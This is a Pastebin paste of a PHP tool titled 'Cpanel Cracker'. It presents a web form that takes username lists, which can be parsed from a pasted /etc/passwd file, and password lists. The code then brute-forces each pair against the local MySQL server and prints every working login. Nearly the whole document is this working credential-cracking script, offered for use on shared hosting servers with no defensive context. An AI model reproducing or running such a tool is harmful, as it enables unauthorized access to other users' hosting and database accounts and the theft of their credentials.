Advertisement
Hasannetbd

CP Cracker By H1s@n

Jun 17th, 2017
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.73 KB | None | 0 0
  1. <?php
  2. echo '<head>
  3.  
  4. <style type="text/css">
  5. <!--
  6. body {
  7.     background-color: #000000;
  8.    font-size: 18px;
  9.     color: #cccccc;
  10. }
  11. input,textarea,select{
  12. font-weight: bold;
  13. color: #cccccc;
  14. dashed #ffffff;
  15. border: 1px
  16. solid #2C2C2C;
  17. background-color: #080808
  18. }
  19. a {
  20.     background-color: #151515;
  21.     vertical-align: bottom;
  22.     color: #000;
  23.     text-decoration: none;
  24.     font-size: 20px;
  25.     margin: 8px;
  26.     padding: 6px;
  27.     border: thin solid #000;
  28. }
  29. a:hover {
  30.     background-color: #080808;
  31.     vertical-align: bottom;
  32.     color: #333;
  33.     text-decoration: none;
  34.     font-size: 20px;
  35.     margin: 8px;
  36.     padding: 6px;
  37.     border: thin solid #000;
  38. }
  39. .style1 {
  40.     text-align: center;
  41. }
  42. .style2 {
  43.     color: #FFFFFF;
  44.     font-weight: bold;
  45. }
  46. .style3 {
  47.     color: #FFFFFF;
  48. }
  49. -->
  50. </style>
  51.  
  52. </head>
  53. ';
  54.  
  55.  
  56.  
  57.  
  58. if($_POST['page']=='find')
  59. {
  60. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  61. {
  62.     if($_POST['type'] == 'passwd'){
  63.         $e = explode("\n",$_POST['usernames']);
  64.         foreach($e as $value){
  65.         $k = explode(":",$value);
  66.         $username .= $k['0']." ";
  67.         }
  68.     }elseif($_POST['type'] == 'simple'){
  69.         $username = str_replace("\n",' ',$_POST['usernames']);
  70.     }
  71.     $a1 = explode(" ",$username);
  72.     $a2 = explode("\n",$_POST['passwords']);
  73.     $id2 = count($a2);
  74.     $ok = 0;
  75.     foreach($a1 as $user )
  76.     {
  77.         if($user !== '')
  78.         {
  79.         $user=trim($user);
  80.          for($i=0;$i<=$id2;$i++)
  81.          {
  82.             $pass = trim($a2[$i]);
  83.             if(@mysql_connect('localhost',$user,$pass))
  84.             {
  85.                 echo "<small>";
  86.                 echo "User:(<b><font color=green>$user</font>) Pass:(<font color=green>$pass</font></b>)<br/><br/>";
  87.                 $ok++;
  88.           echo "</small>";
  89.  
  90.   }
  91.          
  92.          }
  93.         }
  94.     }
  95.     echo "<hr><b>You Found <font color=green>$ok</font> Cpanel</b>";
  96.     echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  97.    
  98.     exit;
  99. }
  100. }
  101. ?>
  102.  
  103.  
  104.  
  105.  
  106. <form method="POST" target="_blank">
  107.     <strong>
  108. <input name="page" type="hidden" value="find">                     
  109.     </strong>
  110.     <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  111.     <tr>
  112.         <td valign="top" bgcolor="#151515"><center><strong><br>
  113.         </strong>
  114.         <a href="http://fb.me/d1rk.h1s1n.Official" class="style2"><strong>Cpanel Cracker By D@rk_H1s@n</strong></a></center></td>
  115.     </tr>
  116.     <tr>
  117.     <td>
  118.     <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  119.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  120.     <strong>User :</strong></td>
  121.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="usernames">
  122. </textarea></strong></td>
  123.     </tr>
  124.     <tr>
  125.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  126.     <strong>Pass :</strong></td>
  127.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="passwords"></textarea></strong></td>
  128.     </tr>
  129.     <tr>
  130.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  131.     <strong>Type :</strong></td>
  132.     <td valign="top" bgcolor="#151515" colspan="5">
  133.     <span class="style2"><strong>Simple : </strong> </span>
  134.     <strong>
  135.     <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  136.     <font class="style2"><strong>/etc/passwd : </strong> </font>
  137.     <strong>
  138.     <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  139.     </strong>
  140.     </span>
  141.     </td>
  142.     </tr>
  143.     <tr>
  144.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  145.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="start">
  146.     </strong>
  147.     </td>
  148.     <tr>
  149. </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement